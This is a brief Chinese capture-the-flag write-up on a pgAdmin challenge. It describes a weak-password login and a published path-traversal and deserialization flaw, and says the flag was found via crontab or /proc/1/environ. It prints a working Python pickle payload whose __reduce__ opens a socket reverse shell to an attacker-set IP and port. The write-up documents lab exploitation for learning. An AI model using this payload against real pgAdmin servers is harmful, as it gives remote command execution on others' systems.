思路

这个题比较抽象,长话短说,getshell是很简单的,就是找不到flag(我是fw)

首先题目是pgadmin,在我写这个的时候题目已经有提示了,账号是tacooooo@qq.com,那密码自然就是tacooooo,弱密码登录

谷歌搜索pgadmin最新漏洞可以查到一篇文章,非常滴详细呀,而且登录进系统之后也可以看看pgadmin的版本,刚刚好可以用,照抄就可以拿到shell

解题

这里拿到shell的方式也不止一种,我自己用的是nc,但是LaoGong里面拿shell的方式感觉很有意思(我见识少了),是用的socket(这里copy一下,膜拜)

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import os
import pickletools

class exp():
def __reduce__(self):
return (exec, ("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);",))

if __name__ == '__main__':
c = exp()
payload = pickle.dumps(c)
with open('posix.pickle', 'wb') as f:
f.write(payload)

在getshell之后死活找不到flag呀,官方wp的解法是用crontab -e 寻找隐藏起来的任务找到flag,非预期解则是在/proc/1/environ里找到

1
2
3
4
参考链接:
https://ycznkvrmzo.feishu.cn/docx/E92JdQmGxoUwXexnQgpcRaIsn7g
https://mp.weixin.qq.com/s/47gTvMnvv8iJuGAEsi8RPw
https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/